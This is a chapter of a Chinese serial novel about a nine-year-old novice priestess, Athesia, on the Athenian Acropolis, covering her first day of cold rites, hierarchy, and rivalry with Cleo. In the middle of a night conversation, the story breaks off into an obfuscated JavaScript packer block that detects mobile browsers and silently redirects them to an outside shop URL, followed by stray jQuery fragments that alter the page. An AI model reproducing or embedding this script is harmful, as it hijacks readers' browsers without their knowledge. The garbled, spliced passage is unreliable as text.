（公元前433年，雅典卫城，阿瑟雅9岁）


    ---


    第一个黎明—


    深蓝色的天幕还未完全褪去，最后几颗星辰仍在卫城上空闪烁。


    阿瑟雅在石室的硬板床上醒来，指尖下意识地探向枕下，触碰到那枚刻着波浪纹的橄榄木符。木质的纹理在晨光中泛着温润的光泽，就像莱山德临别时紧握她的手掌温度。


    「这是最后的、唯一的连结。」她在心中默念，将木符紧紧贴在胸口。


    门外传来规律的脚步声，如同某种精密的仪器在运转。玛尔珀的身影出现在门口，她的灰色长袍彷佛与晨雾融为一体。


    「起身。」她的声音如同大理石般冰冷，「新的一天开始了。」


    阿瑟雅顺从地离开尚存一丝余温的床铺，踏入清冷的晨雾中。石室外的空气带着橄榄树的清香，却也夹杂着祭坛香灰的气息，这是她必须习惯的新生活的味道。


    ---


    淬炼——身体的规训


    露天净身池的水面映着渐亮的天光。


    玛尔珀手持银壶，将浸泡过月桂叶的冷水缓缓倾泻在阿瑟雅的头顶。刺骨的寒意瞬间传遍全身，让她不由自主地颤抖。


    「□□的寒冷能淬炼灵魂的纯净。」玛尔珀的声音从水面传来，「感受它，接纳它，直到你不再为之颤抖。」


    阿瑟雅紧闭双眼，在心中自问：这就是成为「容器」的第一步吗？先冻结所有属于凡人的感知？她想起家中的浴盆，母亲总会细心地调试水温，还会在水中撒上新鲜的花瓣。那些温暖的记忆此刻显得如此遥远。


    晨光完全洒满庭院时，她们列队走向食堂。


    沉默是这里的铁律，只有整齐的脚步声在廊柱间回响。阿瑟雅注意到每个人的步伐都惊人地一致，彷佛她们不是独立的个体，而是某个精密仪器的组成部分。


    早餐的分配严格按照等级。


    见习生们只能分到一块粗麦饼、三颗橄榄和一杯清水。阿瑟雅的目光不由自主地飘向前排，那里资深女祭司的桌上摆着一小碟无花果和蜂蜜。这不仅是食物的差异，更是地位与权力的象征。


    「为什么她们的食物和我们不一样？」阿瑟雅用气音询问身旁的伊莉丝。


    伊莉丝紧张地瞥了眼四周，同样轻声回答：「资深祭司需要更多精力侍奉女神。这是传统。」


    就在这时，前排传来一个清脆的声音：「看来新来的雏鸟还不懂得规矩。」


    克莉奥优雅地转过身，她比阿瑟雅年长两岁，是执政官尼西亚斯的侄女。她精心打理的卷发和过分整洁的衣袍都在无声地宣告着她的与众不同。


    「在食堂说话，是要受罚的。」克莉奥微笑着，眼底却没有笑意，「不过看在你是新来的份上，这次就原谅你了。」


    玛尔珀的声音从食堂尽头传来：「安静用餐。」


    这句简短的命令让所有人都低下头，专注于面前简陋的食物。阿瑟雅小口咀嚼着粗麦饼，第一次真切地感受到等级制度的重量。


    ---


    考验——智慧的磨砺


    晨祷在第一缕阳光穿透神殿列柱时准时开始。


    三十名白衣女祭司跪成整齐的方阵，阿瑟雅的位置在最后一排的边缘。从这里望去，雅典娜女神像的面容在晨曦中显得格外庄严。


    祈祷文是用古老的方言诵唱的，音节拗口，韵律奇特。玛尔珀领祷的声音在神殿中回荡，带着某种神秘的共鸣。当轮到见习生们跟读时，克莉奥故意将经文念得又快又模糊，时不时还夹杂几个生僻的古语词汇。


    阿瑟雅全神贯注地聆听，凭藉着过人的记忆力勉强跟上。她能感觉到克莉奥不时投来的目光，那目光中混合著挑衅与轻蔑。


    「停。」玛尔珀突然抬手，整个神殿顿时安静下来，「阿瑟雅，重复我刚才念的段落。」


    这一刻，所有的目光都聚焦在阿瑟雅身上。她闭上眼睛，在脑海中重现方才的音节，然后清晰地复述了长达百字的祈祷文，连最细微的停顿都分毫不差。


    克莉奥轻声对身旁的女孩说：「看来我们的书记官跟裁缝之女确实有几分本事。」


    午后的祭器室弥漫着没药与尘土的混合气味。阳光透过高窗，在堆满祭器的架子上投下斑驳的光影。玛尔珀举起一件造型奇特的青铜器，器身上雕刻着复杂的几何纹样。


    「谁能说出它的来历？」玛尔珀的目光扫过在场的见习生。


    「这是来自克里特岛的献祭釜，」克莉奥立即回答，声音中带着自信，「用于春分祭典，必须在日出前装满新采的橄榄油。」


    「说得不错。」玛尔珀点头，随即转向阿瑟雅，「那么你知道为什么一定要用克里特岛的器皿吗？」


    阿瑟雅思索片刻，脑海中浮现出在父亲书房中读过的记载：「根据《祭器考》记载，这是因为克里特的青铜含有特殊的矿物质，能让橄榄油保持纯净。但我很好奇，难道雅典的工匠不能仿制出同样的器皿吗？」


    克莉奥嗤笑一声：「传统就是传统，哪有那么多为什么？」


    玛尔珀却若有所思：「这个问题问得很好。事实上，三年前我们就开始使用雅典工匠的制品了，只是有些人还沉浸在过去的荣光里。」


    休息时分，伊莉丝偷偷塞给阿瑟雅一小块无花果干。「别怕克莉奥，」她低声鼓励，「她对每个新人都这样。你记东西比她快多了！」


    阿瑟雅感激地接过果干，甜蜜的滋味在舌尖化开。在这座冰冷的神殿里，这样小小的善意显得格外珍贵。


    ---


    阴影——等级的锋刃


    整理祭袍的任务让阿瑟雅第一次直面神殿里的权力游戏。克莉奥负责分派工作，她将最繁重的任务都交给了阿瑟雅。


    「这些祭袍必须在今天日落前清洗完毕，」克莉奥指着堆积如山的白色衣袍，声音甜美却带着锋芒，「记住，要用特定的泉水清洗，否则会玷污神圣。」


    伊莉丝在一旁小声抱怨：「她分明是在为难你。这么多衣袍，就是三个人都洗不完。」


    阿瑟雅却平静地开始工作。她在清洗时发现，一些祭袍的缝线已经松脱，便趁着晾晒的时间，用从母亲那里学来的技巧悄悄修补好。针线在她的指尖舞动，彷佛带着母亲的温度。


    傍晚时分，玛尔珀来检查工作。她仔细查看每件祭袍，手指轻抚过那些细密的缝线，突然问道：「这些缝补是谁做的？」


    克莉奥立即说：「一定是她弄坏了祭袍，想要弥补过失。」


    但玛尔珀摇头：「这些缝补的技艺很精湛，而且用的是神殿特制的线。阿瑟雅，是你做的吗？」


    「是的，玛尔珀阿姨。我发现这些祭袍本来就有破损，就顺便修补了。」


    玛尔珀难得地露出赞许的目光：「细心与勤勉，同样是侍奉女神的美德。」


    这一刻，阿瑟雅看见克莉奥的脸色由得意转为惊讶，最后凝结成一种复杂的神情。她明白，在这座神殿里，真正的较量才刚刚开始。


    ---


    暗流——隐秘的同盟


    夜幕降临时，阿瑟雅精疲力尽地回到石室。


    月光透过石窗，在冰冷的地面上投下银色的格栅。她抚摸着橄榄木符，白天压抑的委屈和孤独终于涌上心头。窗外，雅典城的万家灯火如同散落的星辰，却与她隔着不可逾越的高墙。


    墙上传来轻微的敲击声——这是她与伊莉丝发明的暗号。三声短促，两声长，代表着「你还好吗？」


    阿瑟雅轻轻敲墙回应。不一会儿，伊莉丝溜进她的房间，手里拿着一小块用橄榄叶包裹的蜂蜜糕。


    「我从厨房偷偷藏的，」伊莉丝小声说，眼睛在月光下闪闪发亮，「吃点甜食会好受些。」


    两个女孩坐在窗边，分享着那块小小的蜂蜜糕。月光为她们披上一层银纱，远处传来隐约的号角声，那是城墙守卫换岗的信号。


    「你想家吗？」伊莉丝问，声音轻得像一声叹息。


    阿瑟雅点头，手指无意识地摩挲着橄榄木符：「也想他。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632568|188022||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    」


    「是送你木符的那个人？」


    「他叫莱山德。」阿瑟雅轻声说，彷佛这个名字是个珍贵的秘密，「他说会永远守护我。」


    伊莉丝叹了口气：「在这里，我们首先要学会守护自己。」


    就在这时，门外传来细微的响动。伊莉丝机警地吹灭油灯，两个女孩屏息凝神。月光下，一个身影从门前快速掠过，留下一卷羊皮纸。


    阿瑟雅小心翼翼地捡起纸卷，借着月光辨认上面的字迹：「小心克莉奥的陷阱。明日祭器课，她准备了难题。」


    「这是谁送的？」伊莉丝惊讶地问。


    阿瑟雅摇头，但心中已有猜测。或许在这座看似铁板一块的神殿里，还有其他不满于现状的灵魂。


    ---


    觉醒——笼中之鸟的决心


    深夜，阿瑟雅在重新点亮的油灯下覆诵白天学到的所有祭器名称与祈祷文。她的记忆力如同最锋利的刻刀，将每一个细节都深深刻在脑海。


    「phiale——献祭用的浅盘，必须用纯金打造；kernos——用于谷物祭典的多容器陶器，象征丰饶；loutrophoros——婚礼与葬礼用的长颈瓶，代表生命的循环......」


    她不仅记住了名称，还开始思考它们背后的意义。为什么不同的祭典要用不同的器皿？为什么每个动作都要遵循严格的流程？这些问题在她的脑海中盘旋，如同被困的鸟儿寻找出口。


    墙角传来规律的敲击声，伊莉丝用密码传来讯息：「该睡了，明天再背。」


    但阿瑟雅无法入睡。她想起莱山德曾经说过：「妳总是问太多为什么。」现在她明白了，在这座用千年传统筑成的神殿里，「为什么」才是最危险的问题，却也可能是最强大的武器。


    就在她准备吹熄油灯前，石室外传来一阵刻意放轻、却依然能辨认出的脚步声，伴随着克莉奥那压抑着兴奋的语调，与另一个女孩的声音。


    「……放心，我叔叔已经打点好了……明天祭器课后……药草园……再细说……」


    脚步声与话语声迅速远去，消失在走廊尽头。


    阿瑟雅的心微微一沈。克莉奥的叔叔是执政官，他的「打点」意味着什么？而「明天」又会有什么在等待她？这短暂听到的只言片语，像一片不祥的阴影，投在了她刚刚筑起的决心之上。


    她起身走到窗边，望着远方家中可能亮起的灯火。手指轻轻抚过冰冷的石窗框，那里有前人刻下的模糊字迹，也许是某个同样思念家乡的见习生留下的印记。


    「笼中之鸟，首先要学会在笼中生存。」她对自己低语，声音在寂静的石室中回荡。


    ---


    当黎明的钟声再次响起，阿瑟雅站在净身池边，任由冷水唤醒每一寸感官。她看着水中自己的倒影，突然对玛尔珀说：


    「我愿意遵守所有规矩，但我想知道每个规矩背后的意义。只有真正理解，才能发自内心地奉行，不是吗？」


    玛尔珀久久地注视着她，目光中闪过一丝难以察觉的波动。最后，她轻声说道：「有些问题，连最资深的女祭司都无法回答。但或许......正是妳这样的追问，才能为神殿带来新的光芒。」


    在前往晨祷的路上，阿瑟雅对伊莉丝低语：「也许我们不需要逃出这个笼子。也许...我们可以在里面筑一个属于自己的巢。」


    伊莉丝紧紧握住她的手：「我与妳同在。」


    晨光中，两个白衣女孩并肩走向神殿。初升的太阳为她们的身影镀上金边，她们的步伐稳健，背影挺直。笼中之鸟开始学习如何在有限的天空下，活出无限的姿态。


    阿瑟雅的手指在袖中轻轻摩挲着橄榄木符，那上面的波浪纹路彷佛在诉说一个遥远的承诺。她知道，从今天起，她将在神圣与凡俗之间、在规矩与自由之间，开始一场漫长的跋涉。


    而这枚贴身藏着的橄榄木符，将永远提醒她自己是谁，从哪里来，要往哪里去。


    （第27章完）